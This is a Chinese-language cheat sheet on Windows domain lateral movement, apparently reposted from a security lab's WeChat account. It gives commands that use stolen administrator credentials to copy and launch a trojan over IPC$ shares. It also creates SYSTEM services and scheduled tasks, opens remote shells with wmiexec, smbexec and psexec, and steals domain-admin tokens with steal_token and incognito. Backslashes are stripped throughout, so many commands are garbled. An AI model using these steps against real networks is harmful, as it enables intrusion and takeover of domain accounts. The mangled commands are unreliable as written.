建立IPC连接
IPC：Internet Process Connection用来建立共享访问管道。在获取某个用户的账号密码后可建立IPC连接进行横向。
最好是管理员权限，普通用户的话，一些操作可能会受限。
后续以administrator为例演示，命令如下：
# 建立IPC连接net use \x.x.x.xipc$ password /user:domainadministrator# 查看已建立的连接net use# 列出目标机C盘目录dir \x.x.x.xc$
IPC连接也能做很多操作，比如映射磁盘，映射后可以对文件进行增删改查。
# 映射磁盘net use f: \x.x.x.xc$
除了映射，也可以使用copy命令把马儿复制到目标机：
# 将本地c盘下的exe文件复制到目标机copy c:exe.exe \x.x.x.xc$
随后可以查看下目标机时间，然后通过at命令去执行，当然at适用的是老机器：
# 查看目标机时间net time \x.x.x.x# at命令运行exeat \x.x.x.x cmd.exe /c "start /b c$:exe.exe"
atexec
atexec支持运行命令，返回的是system权限，命令如下：
atexec.exe domain/administrator:password.x.x.x whoami
sc
sc可在目标机建一个服务，通过该服务来运行马儿或执行命令，命令如下：
sc \x.x.x.x create systemed binpath="cmd.exe /c whoami" start=auto
schtasks
schtasks用来创建定时任务，at命令不支持，可以使用此命令，该命令可获取system权限，相关命令如下：
schtasks /create /s x.x.x.x /u radministrator /p "password" /tn test /sc DAILY /tr "cmd.exe" /c whoami>c:syslog.log /ru system /fschtasks /run /s x.x.x.x /u domainadministrator /p "password" /tn "test" /ischtasks /delete /s x.x.x.x /u domainadministrator /p "password" /tn "test" /f
wmic
wmic在有账号密码的情况下也可以在目标机执行命令，权限这里测试获取到的是administrator（和执行当前命令的用户权限一致）：
wmic /node:x.x.x.x /user:domainadministrator /password:xxxxx process call create "cmd.exe /c whoami > c:wmic-whoami.txt"
wmiexec
这个这里直接用kali的py脚本做测试，它会返回一个交互式shell，命令如下：
wmiexec.py domain/administrator:'password'.x.x.x如果密码带有特殊符号，则需要使用单引号包住：
smbexec
smbexec也会返回一个交互式shell，权限是system，格式用法和wmiexec一样，命令如下：
smbexec.py domain/administrator:'password'.x.x.x
psexec
psexec用法和wmiexec、smbexec一样，也会返回一个交互式shell，权限为system，但psexec会向服务器写文件，命令如下：
psexec.py domain/administrator:'password'.x.x.x
crackmapexec
crackmapexec工具也很好用，在知道账户和密码的情况下，可通过u直到用户名，p指定密码，x指定命令，命令如下：
crackmapexec map x.x.x.x -u administrator -p password -x whoami
令牌盗用
令牌盗用有个前提是要为system权限，权限低的话，是没有办法从内存中获取令牌的，这里的PC-JIXI上线了个system，通过ls查看域控目录是不行的：
通过ps查看以域管身份启动的进程，通过该进程去获取令牌，一般可以先找domainadministrator这种格式，除去常见的系统服务名外，也要注意其它的用户名，会有多个域管的存在或者是域管改名的情况：
这里有个cmd的进程是域管权限，pid是5296：
利用CS的steal_token命令跟pid来窃取令牌，命令执行后，可以成功访问到域控的c盘目录：
incognito
对于窃取令牌，incognito工具也可以，相关命令如下：
# 列出机器上的令牌incognito list_tokens -u
其结果中有system权，可以利用execute参数进行权限升级：
incognito execute -c "NT AUTHORITYSYSTEM" cmd.exe当然，上面命令中的system也可以换成administrator，这样权限就会降回去：
incognito execute -c "AFAAdministrator" cmd.exe
PowerSploit
令牌窃取还有个PS脚本，属于PowerSploit，地址如下：
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1总结
横向方式多种多样，先记下这些常用的，后续文章再继续补充。
原文始发于微信公众号（aFa攻防实验室）：常用的横向手法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论